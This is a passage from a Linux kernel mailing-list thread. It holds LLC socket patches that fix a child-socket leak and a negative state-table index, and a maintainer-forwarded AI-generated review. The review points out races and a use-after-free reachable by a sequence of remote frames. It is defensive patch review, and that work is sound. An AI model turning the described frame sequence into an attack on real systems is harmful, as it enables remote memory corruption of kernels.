 			goto out_kfree_skb;
+		}
 	} else if (llc_backlog_type(skb) == LLC_EVENT) {
 		/* timer expiration event */
 		if (likely(llc->state > 1))  /* not closed */
@@ -870,6 +1086,24 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 	}
 out:
 	return rc;
+retry:
+	if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+	    LLC_INCOMING_QUEUED) {
+		local_bh_disable();
+		bh_lock_sock_nested(newsk);
+		if (llc_sk(newsk)->state > LLC_CONN_STATE_ADM)
+			rc = llc_conn_rcv(newsk, skb);
+		else {
+			llc_release_incoming_sock(newsk);
+			bh_unlock_sock(newsk);
+			local_bh_enable();
+			goto out_kfree_skb;
+		}
+		bh_unlock_sock(newsk);
+		local_bh_enable();
+		goto out;
+	}
+	goto out_kfree_skb;
 out_kfree_skb:
 	kfree_skb(skb);
 	goto out;
@@ -959,17 +1193,18 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
 
 /**
  *	llc_sk_free - Frees a LLC socket
- *	@sk: - socket to free
+ *	@sk: socket to free
+ *	@sync: whether to synchronously stop timers
  *
- *	Frees a LLC socket
+ *	Frees a LLC socket.
  */
-void llc_sk_free(struct sock *sk)
+void llc_sk_free(struct sock *sk, bool sync)
 {
 	struct llc_sock *llc = llc_sk(sk);
 
 	llc->state = LLC_CONN_OUT_OF_SVC;
 	/* Stop all (possibly) running timers */
-	llc_sk_stop_all_timers(sk, true);
+	llc_sk_stop_all_timers(sk, sync);
 #ifdef DEBUG_LLC_CONN_ALLOC
 	printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
 		skb_queue_len(&llc->pdu_unack_q),
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* [PATCH net v5 2/2] llc: reject out-of-service state before state lookup
  2026-08-22  8:23 [PATCH net v5 0/2] llc: fix listener child socket leaks before passive open completes Zihan Xi
  2026-08-22  8:23 ` [PATCH net v5 1/2] " Zihan Xi
@ 2026-08-22  8:23 ` Zihan Xi
  1 sibling, 0 replies; 4+ messages in thread
From: Zihan Xi @ 2026-08-22  8:23 UTC (permalink / raw)
  To: netdev
  Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, linux-kernel, stable, Zihan Xi, Vega

llc_conn_service() checks only the upper bound of the connection state
before llc_qualify_conn_ev() indexes the state table. A socket in
LLC_CONN_OUT_OF_SVC therefore reaches llc_conn_state_table[state - 1]
with a negative index and can read and call data outside the table.

Reject states below LLC_CONN_STATE_ADM before the state-table lookup.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---

Notes (llc-reroll-v5):
    changes in v5:
      - Make listener child cleanup unconditional so queued children are also
        released if the socket leaves TCP_LISTEN before close.
      - Serialize process-context child cleanup and backlog dispatch with bottom
        halves disabled, avoiding child-lock acquisition races with LLC receive
        and timer paths.
      - Drop packets redirected through a pending child after its listener is no
        longer listening, and release children left out of service instead of
        dispatching them.
      - Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
      - v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
    changes in v4:
      - Create a passive-open child only for SABME and generate listener-side DM
        replies directly for non-SABME commands.
      - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
        backlog processing, rollback, and listener close with the child lock.
      - Keep immediate SAP publication for passive-open tuple matching, but release
        unaccepted children on direct and backlog failures and on listener close.
      - Defer final incoming-child cleanup to workqueue context so timer
        synchronization does not run in the receive softirq path.
      - Add an LLC state lower-bound check before state-table dispatch.
      - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
    changes in v3:
      - Drop the unused llc_conn_handler() local rc variable reported in review.
      - Rebase the numbered patch and cover onto commit
        ede76849012e45ffb2193ad110b42027eec02c5c.
      - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
    changes in v2:
      - Rework the fix to preserve the existing passive-open tuple matching
        semantics instead of deferring child publication until LLC_CONN_PRIM.
      - Track listener-created children pending publication to accept(), and roll
        them back on every earlier failure or drop path.
      - Cover the original non-SABME leak and SABME paths which fail before
        LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
      - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
        locally visible root-cause fact.
      - Clarify panic_on_oom crash evidence and packetdrill selection.
      - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

 net/llc/llc_conn.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 8120ecd46ace..4272ce4d4a1c 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -360,7 +360,8 @@ static int llc_conn_service(struct sock *sk, struct sk_buff *skb)
 	struct llc_sock *llc = llc_sk(sk);
 	int rc = 1;
 
-	if (llc->state > NBR_CONN_STATES)
+	if (llc->state < LLC_CONN_STATE_ADM ||
+	    llc->state > NBR_CONN_STATES)
 		goto out;
 	rc = 0;
 	trans = llc_qualify_conn_ev(sk, skb);
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net v5 1/2] llc: fix listener child socket leaks before passive open completes
  2026-08-22  8:23 ` [PATCH net v5 1/2] " Zihan Xi
@ 2026-08-26  8:34   ` Simon Horman
  0 siblings, 0 replies; 4+ messages in thread
From: Simon Horman @ 2026-08-26  8:34 UTC (permalink / raw)
  To: zihanx
  Cc: Simon Horman, netdev, davem, edumazet, kuba, pabeni, linux-kernel,
	stable, vega

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20260822082354.3109-2-zihanx@nebusec.ai?part=1
---
llc: fix listener child socket leaks before passive open completes

This restricts passive-open child creation to SABME commands, answers other
listener-directed commands with a directly generated DM response, and adds
an incoming_state lifecycle (PENDING/QUEUED/NONE) so that children which
never reach accept() are unhashed and torn down from a work item.

> diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
> index b0447c33dbf0..7d246d4d281b 100644
> --- a/net/llc/af_llc.c
> +++ b/net/llc/af_llc.c

[ ... ]

> @@ -722,6 +728,7 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
>  		goto frees;
>  	rc = 0;
>  	newsk = skb->sk;
> +	llc_accept_incoming_sock(newsk);
>  	/* attach connection to a new socket. */
>  	llc_ui_sk_init(newsock, newsk);
>  	sock_reset_flag(newsk, SOCK_ZAPPED);

[Severity: High]

llc_accept_incoming_sock() performs the QUEUED to LLC_INCOMING_NONE
transition, and the paired sock_put(llc->incoming_listener), with only the
listener's owner lock held (the lock_sock(sk) at the top of
llc_ui_accept()).

Every other transition site holds the child's slock instead:
bh_lock_sock()/bh_lock_sock_nested(newsk) in llc_conn_handler(),
local_bh_disable() plus bh_lock_sock_nested(newsk) in llc_backlog_rcv(),
and bh_lock_sock_nested(newsk) in llc_release_incoming_children().

Since those two lock sets are disjoint, can a softirq-side release win the
atomic_xchg while accept() sits between skb_dequeue() and the graft?

CPU0 (softirq) llc_conn_handler() or llc_backlog_rcv()
	bh_lock_sock_nested(newsk);
	llc_release_incoming_sock(newsk);  /* xchg -> NONE, work queued */

CPU1 (process) llc_ui_accept()
	newsk = skb->sk;
	llc_accept_incoming_sock(newsk);   /* xchg returns NONE, no fixup */
	llc_ui_sk_init(newsock, newsk);
	newsk->sk_state		= TCP_ESTABLISHED;

llc_accept_incoming_sock() returns void, so llc_ui_accept() has no way to
notice that it lost the transition, and it takes no reference on newsk and
never holds the child's lock.

llc_incoming_sock_work() only waits on lock_sock(listener), which accept()
drops on return, so the final sock_put() pair can land immediately after
newsock->sk has been published to userspace.

Would it work for llc_accept_incoming_sock() to return whether it won the
transition, taken under the child's lock, so accept() can fail instead of
grafting a socket whose teardown is already scheduled?

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54..8120ecd46ace 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c

[ ... ]

> @@ -88,6 +89,11 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
>  		 * skb->sk pointing to the newly created struct sock in
>  		 * llc_conn_handler. -acme
>  		 */
> +		if (sk != skb->sk &&
> +		    atomic_read(&llc_sk(skb->sk)->incoming_state) ==
> +		    LLC_INCOMING_PENDING)
> +			atomic_set(&llc_sk(skb->sk)->incoming_state,
> +				   LLC_INCOMING_QUEUED);
>  		skb_get(skb);
>  		skb_queue_tail(&sk->sk_receive_queue, skb);
>  		sk->sk_state_change(sk);

> @@ -765,27 +771,153 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,

[ ... ]

> +static void llc_incoming_sock_work(struct work_struct *work)
> +{
> +	struct llc_sock *llc = container_of(work, struct llc_sock,
> +						    incoming_work);
> +	struct sock *sk = &llc->sk;
> +	struct sock *listener = llc->incoming_listener;
> +
> +	lock_sock(listener);
> +	lock_sock_nested(sk, SINGLE_DEPTH_NESTING);
> +	llc_sk_free(sk, false);
> +	sock_orphan(sk);
> +	release_sock(sk);
> +	llc_sk_stop_all_timers(sk, true);
> +	release_sock(listener);
> +	dev_put(llc->dev);
> +	llc->dev = NULL;
> +	sock_put(sk);
> +	sock_put(listener);
> +}
> +
> +void llc_release_incoming_sock(struct sock *sk)
> +{
> +	struct llc_sock *llc = llc_sk(sk);
> +
> +	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
> +	    LLC_INCOMING_NONE)
> +		return;
> +
> +	WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
> +	sock_hold(sk);
> +	llc_sap_remove_socket(llc->sap, sk);
> +	schedule_work(&llc->incoming_work);
> +}

[ ... ]

> @@ -813,18 +960,46 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  		skb->sk = sk;
>  		skb->destructor = sock_efree;
>  	}
> -	if (!sock_owned_by_user(sk))
> +	if (unlikely(llc_sk(skb->sk)->state < LLC_CONN_STATE_ADM)) {
> +		if (newsk)
> +			llc_release_incoming_sock(newsk);
> +		else if (atomic_read(&llc_sk(sk)->incoming_state) !=
> +			 LLC_INCOMING_NONE)
> +			llc_release_incoming_sock(sk);
> +		goto drop_unlock;
> +	}

[Severity: Critical]

Can this free a child that is already sitting on the listener's accept
queue?

Once llc_conn_state_process() has flipped the child to
LLC_INCOMING_QUEUED, the connection indication skb is on the listener's
sk_receive_queue holding a raw skb->sk pointer to the child;
skb_set_owner_r() takes no socket reference. This gate releases the child
found directly by established lookup whenever incoming_state is not
LLC_INCOMING_NONE, which includes QUEUED children.

A purely remote frame sequence against a listening socket reaches it:

  SABME  -> llc_create_incoming_sock() publishes the child, PENDING
         -> llc_conn_state_process() LLC_CONN_PRIM: QUEUED, skb queued
  DISC   -> __llc_lookup() selects the child, and llc_common_state_trans_4
            in net/llc/llc_c_st.c moves it from NORMAL to
            LLC_CONN_STATE_ADM
  command frame -> llc_adm_state_trans_5 sets LLC_CONN_OUT_OF_SVC
  one more frame -> this gate sees state < LLC_CONN_STATE_ADM and
            incoming_state == LLC_INCOMING_QUEUED

llc_release_incoming_sock() then drops the SAP hash reference through
llc_sap_remove_socket() and schedules llc_incoming_sock_work(), which drops
the llc_sk_free() sock_put plus the explicit sock_put, so the child is
freed. Nothing dequeues or invalidates the indication skb.

Does a later accept() then work on freed memory?

net/llc/af_llc.c:llc_ui_accept() {
	newsk = skb->sk;
	llc_accept_incoming_sock(newsk);
	llc_ui_sk_init(newsock, newsk);
	sock_reset_flag(newsk, SOCK_ZAPPED);
	newsk->sk_state		= TCP_ESTABLISHED;
	...
frees:
	kfree_skb(skb);
}

The trailing kfree_skb() also runs sock_rfree() on that sock, and listener
close in llc_release_incoming_children() reads
llc_sk(newsk)->incoming_state and takes bh_lock_sock_nested(newsk) on the
same pointer.

The QUEUED branch and the retry: block of llc_backlog_rcv() call
llc_release_incoming_sock() on an already-indicated child in the same way.

Should the release paths be limited to LLC_INCOMING_PENDING children, or
should the queued indication skb be removed from the listener's receive
queue as part of the release?

> +	if (!sock_owned_by_user(sk)) {
>  		llc_conn_rcv(sk, skb);
> -	else {
> +		if (newsk &&
> +		    atomic_read(&llc_sk(newsk)->incoming_state) ==
> +		    LLC_INCOMING_PENDING)
> +			llc_release_incoming_sock(newsk);
> +	} else {

[ ... ]

> @@ -852,12 +1027,53 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)

[ ... ]

> +			if (sock_flag(sk, SOCK_DEAD) ||
> +			    sk->sk_state != TCP_LISTEN ||
> +			    llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
> +				llc_release_incoming_sock(newsk);
> +				bh_unlock_sock(newsk);
> +				local_bh_enable();
> +				goto out_kfree_skb;
> +			}

[ ... ]

> +		} else if (newsk &&
> +			   atomic_read(&llc_sk(newsk)->incoming_state) ==
> +			   LLC_INCOMING_QUEUED) {
> +			local_bh_disable();
> +			bh_lock_sock_nested(newsk);
> +			if (llc_sk(newsk)->state <= LLC_CONN_STATE_ADM) {
> +				llc_release_incoming_sock(newsk);
> +				bh_unlock_sock(newsk);
> +				local_bh_enable();
> +				goto out_kfree_skb;
> +			}
                                            ^^

[Severity: Medium]

Is the <= bound intended here? The PENDING branch just above and the gate
in llc_conn_handler() both use state < LLC_CONN_STATE_ADM, and the v5
changelog describes the new check as an LLC_CONN_OUT_OF_SVC lower bound.

LLC_CONN_STATE_ADM (1) is a live state with its own transition table
(llc_adm_state_transitions), and a queued child legitimately returns to it
after a remote DISC:

net/llc/llc_c_st.c
static const struct llc_conn_state_trans llc_common_state_trans_4 = {
	.ev	       = llc_conn_ev_rx_disc_cmd_pbit_set_x,
	.next_state    = LLC_CONN_STATE_ADM,

So the same frame is dispatched when it arrives on the direct path in
llc_conn_handler(), but here it is dropped and the child is destroyed via
llc_release_incoming_sock(). The retry: block below applies the same
asymmetric bound with state > LLC_CONN_STATE_ADM.

Since llc_qualify_conn_ev() indexes llc_conn_state_table[llc->state - 1],
would excluding only LLC_CONN_OUT_OF_SVC (0) be enough?

[ ... ]

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-08-26  8:34 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-22  8:23 [PATCH net v5 0/2] llc: fix listener child socket leaks before passive open completes Zihan Xi
2026-08-22  8:23 ` [PATCH net v5 1/2] " Zihan Xi
2026-08-26  8:34   ` Simon Horman
2026-08-22  8:23 ` [PATCH net v5 2/2] llc: reject out-of-service state before state lookup Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox